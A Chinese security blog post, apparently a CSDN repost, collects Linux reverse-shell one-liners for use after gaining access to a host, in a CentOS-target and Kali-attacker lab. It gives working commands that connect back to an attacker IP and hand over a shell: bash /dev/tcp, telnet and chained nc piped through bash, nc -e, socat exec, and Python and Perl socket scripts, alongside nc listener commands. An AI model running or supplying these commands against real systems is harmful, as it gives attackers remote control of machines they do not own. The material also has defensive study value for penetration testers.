【安全知识】——LInux的shell反弹姿势合集(更新中)

作者名:白昼安全
主页面链接: 主页传送门
座右铭:
不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 
宇宙有宇宙的规律,我也有我的坚持

当我们拿到一台LINUX主机的权限时,往往都需要反弹到公网的服务器上,一般我们使用bash来反弹的情况居多,但是bash也有失灵的时候。在这种情况下,我们可以尝试使用其他的反弹语句来达到我们的目的。

下面给大家列举一些平时用的比较多的shell反弹方法

这里的演示环境为

目标机器:centos        192.168.149.133 

攻击机器:kali          192.168.149.129

 一、Bash反弹

条件:

当前用户有足够的权限执行bash命令

当前的shell环境需要是bash shell下,不是bash shell的话会导致报错,提示没有该目录或文件夹

例如kali默认的就是zsh shell,所以如果想把kali的shell用bash反弹出去的话需要先用bash命令进入bash shell才能使用bash反弹shell,如下

 1、攻击机上执行监听

nc -lnvp port

"port"为监听的端口号

2、目标机器上使用bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/port 0>&1

bash -i 打开一个交互的bash

>& 将标准错误输出重定向到标准输出

/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

 

 3、效果如下

二、telnet反弹

Telnet 是一种用于远程登录到计算机系统的网络协议和命令行工具。使用 Telnet,您可以在本地计算机上打开终端窗口,然后通过 Internet 或局域网连接到其他计算机。

Telnet 命令可用于连接到远程计算机并执行各种操作,例如运行命令、编辑文件或查看系统信息。您可以使用 Telnet 客户端应用程序来发起 Telnet 会话,并在会话期间发送命令和接收输出。简单来说就是ssh的前身

条件:目标机器上存在telnet服务 

1、 攻击者主机上打开两个终端分别执行监听

nc -lnvp port1
nc -lnvp port2

监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip 

2、目标主机中执行

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

3、效果如下

 在4444的监听终端输入指令,即可在5555的监听终端查看指令结果

 三、nc反弹

1、支持-e参数

如果目标机器上的nc支持-e参数,如下就可以直接反弹

攻击机执行

nc -lnvp 端口

目标机器执行如下命令反弹shell

nc -e /bin/bash x.x.x.x port 

 效果如下

 2、不支持-e参数

这里讲的就是另外一种情况,目标机器上有nc,但是nc的版本不支持e参数,这里就给大家介绍一个技巧——NC串连

kali攻击机上开启两个终端监听不同端口分别用于接收输入和输出

 

目标机器上使用nc串联反弹权限 

nc 客户端的ip 第一个端口|/bin/bash |nc 客户端的ip  第二个端口


 

详细给大家讲一下服务端执行这条命令的意思 

语句的前半部分服务端nc将shell回弹到客户端ip的第一个端口,此时客户端开启对第一个端口的监听并成功建立连接(但这里并不是交互式shell,看不到命令执行的结果),语句后半部分意思就是将用户在第一个端口建立的shell上的命令执行结果作为第二个端口的输出内容,此时用户再用客户端nc监听并连接第二个端口,这样就可以实现攻击者在第一个端口输入命令,在第二个端口就能看到命令执行的结果

效果如下

 这样我们再4567端口的监听页面输入的命令的回显结果就会在1234端口的监听页面显示

这招巨好用,大家可以多看看或者下去自己试一下 

四、socat反弹

socat是一个用于数据转发的命令行工具,它可以在两个端口之间建立虚拟通道,将数据从一个端口转发到另一个端口,同时支持很多网络协议。

1、攻击机开启监听

2、目标机器使用socat反弹shell

 执行如下命令

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port

 x.x.x.x是攻击机的ip

port是攻击机开启的监听端口

 3、效果如下

 五、Python反弹

1、攻击机开启监听

 nc -lnvp port

我这里用的是

nc -lnvp 1234 

2、目标机器使用python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('x.x.x.x',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

  x.x.x.x是攻击机的ip

port是攻击机开启的监听端口

 

3、效果如下

六、PHP反弹

 

1、攻击机开启监听

nc -lnvp port

2、目标机器上使用php反弹shell

 

3、效果如下

七、Perl反弹 

1、攻击机开启监听

nc -lnvp port

2、目标机器上使用perl反弹shell

perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

即可成功拿到目标shell,效果与php反弹shell差不多,文章篇幅原因就不附图了

猜你喜欢

转载自blog.csdn.net/qq_63844103/article/details/130717506
今日推荐